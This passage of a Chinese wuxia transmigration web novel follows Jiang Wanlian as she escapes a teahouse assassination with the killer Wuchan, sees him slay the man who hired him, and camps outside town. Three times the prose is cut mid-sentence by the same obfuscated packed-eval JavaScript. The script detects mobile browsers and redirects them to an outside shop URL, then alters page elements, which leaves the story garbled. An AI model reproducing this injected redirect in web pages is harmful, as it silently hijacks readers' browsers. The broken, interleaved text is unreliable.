而与此同时,无忏仿佛背后生眼,持剑的右手架住李子遥长剑一会后快速、用力弹开剑身,侧身躲开叶玖的软剑,用左腿将她踢向茶桌。 “砰——” 一声巨响,叶玖被砸向了木制茶桌,茶桌顿时散架,泛起了些尘雾。 这一切不过发生在呼吸之间,无忏以一敌二,竟在刹那间化解了两人默契的合击! 那陈大人早已吓得魂飞魄散,见无忏被阻连滚带爬就要往雅间里躲。 然而,无忏从一开始的目标,或许就不仅仅是他。 无忏再次架住李子遥长剑的右手手腕骤然发力,不是向前压,而是顺势向侧面一带一引!他身法诡异,步伐一错,竟借着李子遥剑上的力道,身形如陀螺般半旋,连鞘长剑巧妙地卸开李子遥的剑锋,剑鞘末端却如同蓄势已久的毒蛇,一声轻响,击中了旁边一张硬木桌的边缘。 桌上原本摆放的一壶滚烫茶水、几只瓷杯,被这股巧劲震得猛然飞起,劈头盖脸地砸向正欲关门的陈大人…以及下意识想要再次抢攻上前的叶玖! 热茶泼洒,瓷片四溅!陈大人被烫得惨叫连连,捂着脸连连后退,恰好退到了雅间门槛之外。叶玖则被迫挥剑格挡飞来的茶壶碎片,攻势一滞。 而就在这杯盘狼藉、视线稍阻的刹那—— 无忏真正的杀招,终于显现。 他之前一直未曾出鞘的长剑,此刻终于露出一线寒芒。没有惊天动地的声势,只有一道快得几乎融入空气中光影变化的细微锐响,那剑光穿过纷飞的瓷片,如同暗夜中无声滑过的冷月弧光,精准地掠过了那贪官的咽喉。 那人脸上的惊骇与痛苦骤然凝固,双手徒劳地捂住脖子,嗬嗬作响,肥胖的身躯向后轰然倒去,恰好砸进了“听竹”雅间的门内。 ——任务完成。 干净,利落,甚至巧妙地利用了对手的攻势和环境。 这一切发生得太快,从无忏暴起,到胖子毙命,不过短短数息。李子遥和叶玖又惊又怒,他们没想到无忏在两人夹击下,竟还能如此迅捷地完成刺杀! “……恶贼!”李子遥怒极,剑势再展,如狂风暴雨般向无忏卷去,势要将他留下。叶玖也压下对江晚怜的惊疑,软剑幻出点点寒星,配合李子遥全力进攻,茶楼二层顿时剑气纵横,桌椅纷纷遭殃,木屑乱飞。 江晚怜早在无忏动手时就连连后退,躲到了一根柱子后面,心脏狂跳,几乎要蹦出嗓子眼。她眼睁睁看着那胖子倒下,看着无忏在两道凛冽剑光中穿梭闪避,身影飘忽如烟,竟似游刃有余,但明显被李子遥和叶玖的拼命打法缠住了片刻,难以立刻脱身。 就在这时—— 楼下忽然传来更大的喧哗和惊叫,以及一阵杂沓沉重的脚步声,似乎有大队人马正快速接近茶楼,还夹杂着镇中差役的呼喝:“封锁前后门!莫让凶徒走脱!” 江晚怜脸色一白——那胖子的随从去报官了!! 无忏显然也听到了楼下的动静,他眼中血色一闪,招式陡然变得凌厉狠辣,不再以周旋闪避为主。连鞘长剑蓦然完全出鞘,剑身黝黑,却在挥舞间带起一片令人心悸的幽暗光华,瞬间将李子遥和叶玖逼退一步。 他抓住这瞬息的空隙,身形疾退,却不是冲向楼梯或窗户,而是退向江晚怜所在的柱子方向。 “走!” 冰冷的一个字吐出,无忏已至江晚怜身侧,一把抓住她的手腕。他的手掌冰冷,力道却大得惊人,不容挣脱。 江晚怜只觉一股大力传来,身不由己地被扯着,跟踉跄跄地随着无忏,不是奔向已被堵住的楼梯,而是冲向二楼一侧的窗户! “啊啊啊!等等等等!!我还没准备——” 楼下人马喧嚣已至楼梯口,李子遥和叶玖怒喝着再次扑上。无忏看也不看,反手一剑挥出,凛冽的剑气将旁边一张沉重的桌子挑起,狠狠砸向追来的两人,在李子遥挥剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978096|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈开桌子的轰响与木屑纷飞中,撞破窗棂,拉着江晚怜纵身跃入了窗外栖鹊镇午后嘈杂而混乱的街市上空。 江晚怜只来得及发出一声短促的惊呼,身体便已腾空。破碎的木屑擦过脸颊,带来细微的刺痛,午后刺目的天光与下方街市的喧嚣一股脑儿涌了上来。 无忏带着她并非直坠,而是在下落的瞬间,足尖在茶楼外挑出的幌杆上借力一点,身形折转,朝着斜对面低矮的民居屋顶掠去。衣袂破风,猎猎作响。 下方传来李子遥愤怒的吼声:“别让他们跑了!”以及叶玖焦急的指令:“分头追!” 江晚怜的心脏在胸腔里狂跳,她被他用力拉着,下肢只能拼了命地跟上无忏的速度。 两人就这样穿梭于各屋顶上。几个起落,无忏已带着她落在一条僻静后巷的屋顶。瓦片在脚下发出轻微的碎裂声。他松开手,江晚怜腿一软,差点瘫坐下去,慌忙扶住旁边的烟囱才站稳,脸色煞白,大口喘着气。 无忏却像只是做了件微不足道的小事,连呼吸都未见紊乱。他站在屋脊边缘,微微侧首,异色的眸子扫过下方错综复杂的巷道。追兵的呼喝声从不同方向隐约传来,正在合围,但显然还没摸准他们的确切位置。 “能跑么?”他问,声音依旧没什么温度,目光落在江晚怜还在发抖的腿上。 江晚怜咬牙,用力点头。她知道,现在停下来就是死路一条:“能!” 毕竟自己好歹体育水平算中上! 无忏不再多言,转身便沿着屋脊向巷子深处疾行。这一次,他没有再带着她,速度却明显放慢了些,恰好是她拼命奔跑能够勉强跟上的程度。 江晚怜顾不得浑身的酸痛和恐惧,强迫自己迈开灌了铅似的双腿,深一脚浅一脚地跟在后面。瓦片湿滑,她几次差点滑倒,全靠一股不想被丢下的狠劲撑着。 下方的巷子里,有护卫举着刀跑过,也有差役在呼喝着驱散百姓,每次听到靠近的脚步声,江晚怜的心就提到嗓子眼。但无忏总能提前察觉,实在跑不动时带着她在屋顶的掩体间无声穿梭,避开一波又一波的搜索。 这简直像是在刀尖上跳舞!江晚怜看着前方那个始终冷静、仿佛对一切了如指掌的背影,第一次如此清晰地认识到,自己跟着的究竟是个怎样行走于阴影中的人物:他的世界,每天都这样充满了致命的追逐与杀戮。 就在他们即将穿过这片低矮民居区,靠近镇外方向时,前方一处较高的酒楼屋顶上,忽然出现了一个鹅黄色的身影。 叶玖! 她显然是从另一条路包抄过来,居高临下,正好截住了他们的去路。她手持软剑,胸口微微起伏,清丽的脸上满是寒霜,目光先锁定了无忏,随即死死盯住他身后的江晚怜。 “江晚怜!”叶玖的声音带着压抑的怒意和不易察觉的复杂:“你果然和他是一伙的!江家满门血案,莫非你也参与了?!” 这质问刺得江晚怜一个激灵。 姑奶奶,你放了我吧!我穿到这个世界才过两天,什么都没干,怎么过这么惨啊!? 眼前的局面,任谁看都会觉得她与无忏关系匪浅。 叶玖咬咬牙:“江家怎会养出你这样的人!”她手持软剑的手明显紧了紧,脸上尽是恨意。 无忏脚步未停,甚至速度都没有减缓,直直朝着叶玖把守的方向而去。只是,他的手,重新按上了剑柄。 屋顶狭路,再无迂回余地。 5. 鹊影藏锋 屋顶的风吹动叶玖鹅黄的衣袂,她握剑的手因用力而骨节发白,目光却如淬了寒冰的针,刺破数丈距离,钉在江晚怜脸上。 那句“江家怎会养出你这样的人”,像一记无形的耳光,扇得江晚怜耳中嗡嗡作响。她想辩解,想说“我不是她”,可所有言语都堵在喉咙里,化为一阵徒劳的干涩。 无忏没有给她任何回应的时间。 在叶玖话音落下的瞬间,他已如离弦之箭般疾冲向前,速度比方才在茶楼时更快三分。黑色的身影在午后的日光下拉出一道模糊的残影,并非直线奔向叶玖,而是踏着诡异的步法,忽左忽右,踩着高低错落的屋脊瓦片疾行,每一步都精准地落在承重处,只发出极轻微的声响。 叶玖瞳孔骤缩。她知道无忏身法诡谲,却未料到在带着一个人的情况下,他还能如此迅捷灵动。她不敢怠慢,软剑一抖,剑尖绽出数点寒星,如疾风骤雨般罩向无忏冲来的路线——不求伤敌,只求阻滞。 无忏前冲之势丝毫未减。 眼见剑光将至,他竟在疾驰中陡然矮身,以一个几乎贴着瓦面的滑步,险而又险地从那片剑光下方掠过。同时,一直按在剑柄上的手终于动了。 剑未全出,只出鞘三寸。 但那截黝黑的剑刃在日光下骤然反射出一线妖异的暗红光泽,如同凝固的血。无忏手腕极轻微地一振,剑鞘带着未尽的冲力,精准地磕在叶玖软剑力道最弱的剑身中段。 一声清越震响。叶玖只觉一股阴冷刁钻的劲力顺着剑身传来,整条手臂瞬间酸麻,剑招不由一滞。而无忏已借着这一磕的反震之力,身形再次拔起,与她错身而过。 他要的只是这条通路。 “站住!”叶玖反应极快,强压手臂不适,拧腰回身,软剑如影随形,直刺无忏后背。这一剑含怒而发,去势极疾。 江晚怜拼了命跟在无忏身后,眼看那鹅黄色的身影与剑光一同迫近,吓得魂飞魄散,脚下发软,差点从倾斜的屋脊上滑下去。 眨眼间,已掠过叶玖身侧的无忏,他头也未回,持剑的右手依旧前指,空着的左手向后一探——并非格挡,而是一把抓住了江晚怜的后衣领。 “啊!”江晚怜惊呼声刚出口,整个人便被一股大力提起、前抛! 这一抛时机妙到巅毫。她惊叫着,不受控制地向前飞跌,恰好挡住了叶玖追击的路线。叶玖这一剑若继续刺出,必先穿透江晚怜的身体。 “你!”叶玖脸色剧变,硬生生将剑势向旁偏开半尺,剑锋擦着江晚怜的衣袖掠过,削下一片布料。她眼中惊怒交加,既恨无忏手段狠辣,竟拿人作盾,更恼自己险些误伤——即便再厌恶江晚怜,她也无法就这样一剑将“故人”刺穿。 只这片刻的迟滞,已足够。 无忏在抛出江晚怜的同时,足下在屋脊重重一踏,借力折返,恰好接住踉跄落下的江晚怜,另一只手的长剑终于完全出鞘,划出一道冰冷的弧光,不是攻向叶玖,而是斩向两人脚下酒楼与旁边民居相连处的木制飞檐! “咔嚓!” 承重的木椽应声而断!碎瓦木屑纷飞,那一截飞檐轰然塌落,砸向下方的窄巷,扬起漫天尘土,也彻底隔断了叶玖追击的路径。 尘土弥漫间,传来叶玖气急败坏的喝声:“无忏!你这样算什么本事!” 无忏充耳不闻,揽着惊魂未定的江晚怜,几个起落,已消失在起起伏伏的屋顶后方,只留下叶玖独自站在断裂的飞檐这端,望着他们消失的方向,咬了咬唇,眼中神色复杂难明。 而远处,李子遥带着差役与护卫的呼喝声,正由远及近,朝着这片区域合围而来。 江晚怜被无忏半提半抱着疾行,耳边风声呼啸,胸腔里那颗心几乎要撞破肋骨跳出来。刚才那一抛一接,天旋地转,她到现在还觉得腿脚发软,胃里翻江倒海。 无忏的手臂稳如磐石,力道却控制得极精准,既让她不至于掉下去,又不会勒得她喘不过气。他的呼吸依旧平稳,仿佛刚才那番交手,以及此刻在追兵围堵下的极限奔逃,都只是闲庭信步。 越过几重屋脊,无忏速度不减,却忽然转向,朝着镇子边缘一片看起来更杂乱、屋舍低矮密集的区域掠去。这边的房屋大多是泥墙草顶,巷道狭窄如蛛网,污水横流,气味刺鼻。显然,这是栖鹊镇最贫困混乱的角落。 追兵的声音被远远甩在后面,暂时听不真切了。 无忏终于在一个堆满杂物的偏僻巷口角落停了下来,他随手松开被吓傻的江晚怜。 江晚怜从墙上滑坐下来,大口大口地喘气。她低头看了看自己被削去一角的袖子,露出的手臂上有一道浅浅的血痕,是刚才叶玖剑锋擦过留下的。伤口不深,但火辣辣地疼,提醒着她方才距离死亡有多近。 她偷偷抬眼,看向无忏的背影。他站得笔直,那双异色的眼睛在阴影中闪烁着冷静而幽微的光。刚才他毫不犹豫地把她扔出去当挡箭牌——虽然结果证明那只是逼退叶玖的战术,但那一刻的惊骇与心寒,却是实实在在的。 “吓死我了……”要是让她再看一遍这漫画,她绝对不会喜欢上无忏这人。 似乎是察觉到她的目光,无忏微微侧首,瞥了她一眼,视线在她手臂的血痕上停留了一瞬,随即移开,语气平淡无波:“死不了。” 江晚怜:“……” 她憋了半晌,才闷闷地挤出一句:“……谢谢安慰。”虽然这安慰比刀子还冷。 无忏似乎并不在意她的语气,重新将注意力放回警戒上。巷道外传来几声狗吠和孩童的哭闹,但并无追兵的动静。 “他们……暂时不会找到这里?”江晚怜小声问,试图驱散心头的寒意和后怕。 “此地鱼龙混杂,差役不愿深入,江湖人亦难细查。”无忏简短答道:“但不宜久留。” 江晚怜点点头,明白他们只是暂时安全。李子遥和叶玖绝不会轻易放弃,无忏在栖鹊镇当众杀了朝廷命官,也必然全力搜捕。 “那我们现在怎么办?”她下意识地问,问完又觉得自己有些蠢。无忏显然早有打算。 果然,无忏没有回答她的问题,而是忽然问道:“叶玖认得你。” 不是疑问,是陈述。 江晚怜心头一紧,知道躲不过去了。她心虚的低声道:“是……我以前……得罪过她。” 明明这些都不是她做的。 无忏的视线重新落在她脸上,那瞳仁里映出她此刻的狼狈与忐忑。 江晚怜手指无意识地攥紧了破损的袖口。原主与叶玖的积怨,岂是三言两语能说清?那是经年累月的刁难、羞辱,是围绕李子遥的明争暗斗,是出身“高贵”者对“平民”女主根深蒂固的轻蔑与打压。这些过往如今都成了压在她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978097|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的债。 “江家‘已死’的大小姐,与江湖通缉的杀手同行。”无忏继续平静地陈述,每个字都像冰珠子砸在她心头:“此事若传扬出去,无论对追捕我的人,还是对你‘过往’的仇家,都是绝佳的线索与把柄。” 江晚怜脸色又白了几分。她之前只担心被男女主撞见后的剧情风险,却未深思这层身份暴露带来的连锁反应,一个本该死在灭门夜的人“复活”,还跟灭门嫌疑重大的杀手在一起,这本身就是一个巨大的谜团和靶子。 “所以……”她声音微颤:“叶玖她……一定会把看见我的事说出去?”尤其是告诉李子遥,还有他们背后的师门、江湖朋友……后果不堪设想。 无忏没有直接回答,只是反问道:“你怕了?” 怕?当然怕!江晚怜几乎要脱口而出,但当她迎上无忏那平静得近乎漠然的目光时,一股莫名的倔强却从心底冒了出来。怕有什么用?从她在这个世界睁开眼,被剑指着眼睛的那一刻起,“怕”就没能改变过任何事。 她用力吸了口气,压下喉咙间的涩意,抬起头:“怕,但怕也得活着。”她顿了顿,目光落在自己手臂那道血痕上,声音低了下去,却清晰可辨,“你刚才……是算准了叶玖不会真杀我,才那样做的,对吗?” 若非如此,她现在已经是具尸体了。 无忏看着她,这次沉默的时间稍长了些,巷外嘈杂的人声隐约传来,更显得这角落死寂。半晌,他才几不可察地动了下唇角,那弧度淡得几乎无法捕捉。 “反应不算太慢。”他道,算是默认:“她剑势虽急,心却未定,对你…杀意未足。” 江晚怜却因这话,心头那根紧绷的弦稍稍松了些。至少,刚才那惊险一幕并非全然拿她的命去赌。无忏的算计里,包含了对她和叶玖之间微妙关系的判断。 “那……接下来,我们是要立刻离开栖鹊镇吗?”她回到最实际的问题。身份既已暴露,此地便是龙潭虎穴。 无忏却摇了摇头,目光投向巷子深处更杂乱的方向:“目标虽除,代价未清。” 代价?江晚怜一愣,随即想起无忏接任务的规矩——他索取的,从来不只是金银。那个乡绅支付的,恐怕只是明面上的“报酬”。 “你的意思是……委托里真正要的‘东西’,还没拿到?”她恍然。 “嗯。”无忏应了一声,不再多言,转身便朝着巷子深处走去:“还能动就跟上。” 他的步伐依旧平稳,仿佛刚才的生死追逐和身份暴露的危机都不值一提。江晚怜看着他的背影,咬了咬牙,撑着发软的双腿站起来,快步跟了上去。 手臂上的伤口还在隐隐作痛,提醒着她这个世界的真实与残酷。前路迷雾重重,后有追兵,旁有旧怨,而身边这个她唯一能倚靠的人,心思深沉难测,行事亦正亦邪。 但奇怪的是,当她的脚步再次落在他身后三步之遥时,那份惶恐竟渐渐被一种破罐子破摔的平静取代。 反正已经上了这条贼船,反正已经没有回头路可走。 那不如,就跟着他,把这浑水蹚到底。 她倒要看看,这漫画里未曾细写的“代价”,究竟是什么。而她和无忏这条意外交织的轨迹,最终又会通向何方。 巷子幽深曲折,光线昏暗。两人的身影一前一后,迅速被阴影吞没,仿佛从未出现过。 6. 血酬之报 巷子越走越深,光线被两侧倾颓的高墙挤压得所剩无几。 糊墙的黄泥早已斑驳成片片污渍,裸露的草梗在潮湿空气里散发出一股腐败的甜腥气,墙角堆叠着看不清形状的杂物,阴影幢幢。偶有低矮门扉隙开一线,连同里面细微的动静也一并消失。整条巷子沉默得近乎诡异,只有他们两人轻而稳的脚步声。 江晚怜紧跟着无忏的步伐,手臂的刺痛在阴湿环境里变得清晰,她盯着无忏的背影,心里反复掂量着“代价未清”四个字。漫画里对这次的任务语焉不详,只留下一个模糊的悬念。这悬念此刻像钩子,勾着她的好奇,也牵着隐隐的不安。 就在巷子即将穷尽、仿佛要撞上死墙时,无忏身影一晃,拐进一道几乎被阴影吞没的窄缝。缝极窄,需侧身方能通过,高墙蔽日,寒意骤深。穿过这段逼仄的通道,眼前豁然出现的,竟是一扇熟悉的、漆皮剥落的低矮木门。 ——正是清晨那乡绅委托杀人时,他们进入的院落。 无忏停下,未立即推门。他侧耳听了片刻,巷子深处只有风声呜咽。随即,他抬手,用剑鞘无声地顶开了并未闩死的门扇。 江晚怜眼睛一亮,好奇心压过了不安,抬脚就要跟进去。 一个墨色身影却倏然挡在面前。 “你,把风。”无忏的声音压得很低,不容置喙,异色的眸子在昏暗中掠过她写满探究的脸。 “……切。”江晚怜高涨的兴致被一盆冷水浇下,不满地撇了撇嘴。什么东西这么神秘,连看都不让看?她可是“队友”啊! 无忏对她的情绪视若无睹,侧身入内,反手便将那扇破旧木门轻轻合拢,甚至传来了门闩落下的细微“咔哒”声。 竟还锁上了! 江晚怜瞪着紧闭的门板,半晌,才泄气地蹲下身,抱住膝盖。冷风从窄巷深处灌进来,吹得她一个激灵。她随手捡起脚边的枯枝,在潮湿的泥地上无意识地划拉着,耳朵却竖得尖尖的,竭力捕捉门内任何一丝声响。 院子里静悄悄的,清晨引路的那位佝偻老仆不知所踪。无忏的脚步声几不可闻,径直步入了正屋。 屋内,油灯如豆。那体态微胖的乡绅正心神不宁地踱步,听到动静猛地回头,见到去而复返的无忏,脸上瞬间爬满惊愕,随即又强行堆起殷勤而畏惧的笑容,快步迎上: “您……您怎么回来了?那事……可是成了?” “嗯。”无忏应了一声,声音平淡无波:“人已死,其罪当诛。” 乡绅明显松了口气,腰背都挺直了些,搓着手道:“成了就好,成了就好!那您此番折返是……”他话未问完,眼中已不自觉流露出一丝放松后的疑惑,甚至还有一丝事成后对“麻烦人物”再度上门的细微不耐。 寒光,就在他这丝不耐流露的刹那,毫无征兆地乍现。 没有怒喝,没有预警,甚至连杀意都收敛得近乎完美。那柄黝黑的长剑仿佛只是从阴影中自然地延伸而出,精准、冷静,直刺乡绅心口。 “噗嗤——” 利刃穿透皮肉骨骼的闷响,在死寂的屋内格外清晰、沉重。 乡绅脸上的表情凝固在惊愕与茫然的交界,他甚至来不及感到疼痛,只难以置信地低下头,看着没入自己胸膛的剑刃。鲜血迅速洇开,染红了绸缎衣裳。 “付买命钱时,”无忏的声音在他耳边响起,依旧没什么起伏,却冰冷地宣判着:“你便已同罪。” 话音落,他手腕稳稳向前一送! 剑刃彻底贯穿躯体,从后背透出寸许,尖端抵上了后面的墙壁,发出极轻微的“笃”声。乡绅喉咙里“嗬嗬”作响,剧痛和生命力急速流失的感觉此刻才海啸般席卷而来,他一口鲜血控制不住地涌上喉咙,眼看就要喷溅而出。 无忏眉头几不可察地一蹙,猛地抽剑,同时抬脚重重踹在对方腹部。 乡绅肥胖的身躯像破麻袋般向后飞撞在墙上,发出一声闷响,那口血大部分呛咳着洒在了自己前襟和地上,只有零星几点,飞溅到了无忏苍白的脸颊边。 “啧。”无忏侧头避开后,抬手用指腹抹去颊边那点温热血渍,看向指尖的眼神里掠过清晰的嫌恶。他振腕,甩落剑身上连绵的血珠,收剑还鞘,动作流畅而利落,仿佛只是拂去了衣上尘埃。 屋内重归死寂,只剩下油灯偶尔爆出的灯花轻响,以及浓郁得化不开的血腥味,无声弥漫。 院门外,江晚怜正用树枝在地上画第三只歪歪扭扭的乌龟,就在她几乎要开始数墙上裂缝打发时间时,门内终于传来了一声极其轻微的响动——像是重物落地的闷响,短促,沉闷,随即一切又归于寂静。 不是说话声,也不是寻常脚步声。那声音让江晚怜心里咯噔一下,握着树枝的手指不自觉地收紧,她屏住呼吸,侧耳倾听,可除了风声,什么也听不到了。 刚才那股被关在门外的不满,瞬间被一种莫名的寒意取代。无忏进去是取“代价”的,可什么“代价”会发出那样的声音? 她猛地站起身,贴近那扇斑驳的木门,犹豫着要不要开口问一句。 正纠结间,“咔哒”一声轻响,门闩被从里面拉开。 木门无声地打开一道缝隙,无忏的身影出现在门后。巷子里昏暗的光线勾勒出他冷硬的侧脸轮廓,以及……颊边一道刺目的暗红痕迹。 江晚怜的视线凝固在那点血迹上,又迅速扫过他平静无波的眼眸,最后落在他手中那把剑。 代价? 她的目光不由自主地飘向无忏身后黑洞洞的门内,鼻尖似乎嗅到一丝极淡的、不同于巷子霉味的铁锈气息。那乡绅…… “走了。”无涧的声音打断她的思绪,他已侧身出了门,顺手将门板带拢,隔绝了院内的一切。 “里面……”江晚怜忍不住开口,声音有些发干。 “清了。”无忏言简意赅,脚下不停,朝着巷子更深处、通往镇外的方向走去。 江晚怜回头又看了一眼那扇紧闭的木门,门扉寻常,寂静无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978098|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,仿佛从未有人进出,也从未发生过什么。她打了个寒颤,连忙转身,小跑着跟上无忏。 这一次,她没再追问“代价”是什么,也没问那乡绅如何。那点颊边的血迹在他苍白的皮肤上格外醒目。答案似乎已经不言而喻。 越往前走,巷道越窄,屋舍越稀,人烟越少。风中带来的镇中心的喧嚣和追捕的骚动已微不可闻,取而代之的是荒野特有的、带着草木和泥土气息的风。 终于,他们从一条几乎被野草淹没的断墙缺口,走出了栖鹊镇。 眼前是一片荒僻的河滩地,枯黄的芦苇在暮色初临的风中起伏,发出沙沙的声响。不远处,浑浊的河水缓缓流淌,对岸是连绵的、光线逐渐暗淡的山峦剪影。 暂时安全了。 无忏在河滩一处背风的土坡后停下,他先走到水边,蹲下身,掬起冰冷的河水,朝脸上泼了泼。 江晚怜默默站在一旁看着,夕阳的余晖给他镀上了一层暗金色的边,但那清洗的动作里透出的某种冷硬与偏执,却让人感到一阵疏离。 他洗净脸,直起身,水珠顺着他利落的下颌线滴落。暮色中,那双不同寻常人的眼眸看向她,依旧是看不透的深邃。 “今夜在此歇脚。”他淡淡道,随后一个轻身跳至旁边的树叶有些枯黄的树干上,准备闭目养神。 江晚怜点点头,环顾四周荒凉的河滩。比起危机四伏的城镇,这里确实像个暂时的避难所。她坐于无忏身处的树枝下,背靠树干。 “那个……”她小声开口:“我们接下来要去哪?” 无忏没有看她,目光投向暮色苍茫的对岸群山,过了片刻,才几不可察地说了句: “不知道。” “你又逗我?”她又再次忍着怒意问,这人咋老是不知道?! 这次,无忏沉默的时间更长。晚风穿过芦苇丛,带来湿润的凉意。 “随便去哪。”他最终只给了这四个字,语气里听不出情绪。 “不接任务了?” “累了。” ……好吧,还挺“劳逸结合”。 她透过枯叶看着天边最后一缕霞光被灰蓝的夜色吞噬,星星一颗接一颗地亮起来,冰冷而遥远。 这一天,经历了太多:茶楼的刺杀、屋顶的亡命奔逃、身份的暴露、巷子深处的秘密……每一件都冲击着她过去十八年平凡人生的认知。 她又将目光投向位于自己头上的那道身影,他还是抱着他的那把剑,束起的黑色长发垂落于树枝。 跟着他,前路似乎只有更深的血腥与未知。 但不跟着他,自己好像也只有死路一条。 奇怪的是,当寂静的荒野完全包裹住他们,当星空在头顶浩瀚展开,那份一直萦绕不去的惊悸,反而慢慢沉淀下来,变成一种疲惫的、认命般的平静。 原漫画中无忏受伤的命运已因她这个“变数”改变了。 至少此刻,她还活着,以后的事,以后再说。 7. 再度危险 晨光初透,并非温柔的暖金,而是一种带着河水潮气的、苍白的灰蓝,漫过枯黄的芦苇荡,将荒滩上的一切都蒙上一层湿冷的霜色。 江晚怜是被脑门上不轻不重的一记磕碰惊醒的。 她迷迷糊糊地“唔”了一声,下意识想挥手赶开那扰人清梦的“东西”,指尖却只触到一片冰凉的衣料。她猛地睁眼,视线对上一截墨色的袖口,以及袖口上方那双正俯视着她的、毫无波澜的异色眼眸。 无忏不知何时已从栖身的树上下来,站在她蜷缩的树干旁。他怀抱着那柄从不离身的黑色长剑,晨光落进他眼底,左眼的血色被冲淡了些许,右眼的翠绿却愈发剔透冰寒,不见丝毫初醒的惺忪。 江晚怜残留的那点睡意瞬间烟消云散,她一个激灵坐起身,动作太急,牵扯到手臂伤口,疼得她倒抽一口凉气。 “干嘛啊,这么早……”她揉了揉被敲的额头,干巴巴地挤几个字。 无忏没应声,目光落在她下意识捂住的手臂上。经过一夜,那处被叶玖剑锋擦过的浅伤非但没好转,边缘反而泛起了不正常的红肿,在苍白的皮肤衬托下,显得有些刺目。 “手。”他道,语气是不容置疑的陈述。 江晚怜下意识把手往身后藏了藏:“……没事,过两天就好了。”话虽如此,伤口传来的阵阵抽痛却骗不了人。 无忏没理会她那点无用的倔强,直接探手扣住了她的手腕。他的指尖带着清晨河滩特有的凉意,力道却稳得不容挣脱。江晚怜挣了一下没挣动,只好任由他将伤处拉到眼前细看。 伤口不深,但显然沾染了泥污,又未及时妥善处理,在野外湿冷的环境下,已经有了发炎的迹象。 无忏只看了一眼,便松开手,转身朝不远处的河滩走去。江晚怜见他俯身在碎石间寻找片刻,拔起几株茎叶细弱、顶端开着不起眼小白花的野草。 他走回来,将还带着泥土湿气的草株递到她面前。 “捣碎,敷上。”言简意赅。 江晚怜接过那几株草,她认得这草,漫画里好像提过,是种野外常见的、有轻微消炎止血功效的杂草,名字普通到几乎没人记得。 只是…… “你之前……不是有盒挺不错的药膏吗?”她想起在江家灭门那晚,他随手丢给她处理擦伤的那个精致小盒。 无忏闻言,动作几不可察地顿了一下,他眼睫微垂,似乎在回忆,片刻后才道:“丢了。” 丢了?江晚怜努力回想昨天混乱的场面。茶楼激战,屋顶追逐,飞檐走壁……好像确实瞥见有什么小东西从无忏身上飞脱出去,落入混乱的人群或街巷。她嘴角微抽,那药膏看样子价值不菲,就这么丢了。 这位爷倒是干脆。 没再多言,她老老实实找了块干净的卵石,将那几株草放在另一块平坦的石面上,用力砸碾起来。草汁混合着碎叶,散发出一种清苦微涩的气味。 她小心地将捣出的草泥敷在红肿的伤口上。 “嘶——啊!我的妈呀!” 草泥接触伤口的瞬间,一阵尖锐辛辣的刺痛猛地窜了上来,比伤口本身还疼上几分!江晚怜没忍住,痛呼出声,眼泪差点飙出来。 无忏站在一旁看着她龇牙咧嘴、眼泪汪汪的样子,嘴角似乎极轻微地向上牵动了一下,那弧度快得如同错觉,随即又恢复成惯常的平直淡漠。 “忍着。”他丢下两个字,便不再看她,转而望向芦苇荡外逐渐明亮起来的天色,侧耳凝神,似在辨别风中的动静。 江晚怜疼得直抽气,却也明白这野草虽粗糙,总比伤口恶化强。她强忍着那火辣辣的刺痛感,直到得到了无忏的允许,蹲到河边,就着冰凉的河水,小心翼翼地将手上草渣洗净。河水刺骨,激得她又是一哆嗦。 洗净手,刺痛感稍缓,取而代之的是一种清凉的麻木感,红肿似乎也消下去一点。 “能走么?”他问,目光投向对岸在晨雾中若隐若现的连绵山峦。 江晚怜活动了一下腿脚,虽然还是酸疼,但比昨夜刚逃出时好了许多。 “能。”她点头,顿了顿,忍不住又问:“我们……真的‘随便’走?” 她可没忘记昨夜他那句“随便去哪”。 无忏转过身,晨风拂动他额前几缕未束起的黑发。 “往南。”这次他给了稍微明确一点的方向,但依旧算不得目的地:“山林多,易藏身。” “哦。”她没有异议,对她而言,跟在无忏的后面比独自流浪都强。 简单收拾——其实也没什么可收拾的,两人便离开了这片短暂歇脚的荒滩,沿着河岸,向着南方雾霭沉沉的群山走去。 另一边,官道旁的古树下。 李子遥一拳砸在粗糙的树皮上,沉闷的响声惊起了枝头几只寒鸦。“ 又让那魔头跑了!”他声音里满是愤懑与不甘,年轻英挺的脸上眉头紧锁。 叶玖没有应声。她独自坐在一旁光滑的石块上,低垂着眼眸,指尖缓缓抚过手中软剑冰凉的剑身。晨光穿过稀疏的枝叶,在她清丽的侧脸上投下明暗交错的光影,却化不开那层凝着的寒霜。 “子遥。”她忽然开口,声音很轻,却带着一丝不易察觉的动摇:“江家满门被灭的消息……当真确凿无误么?” 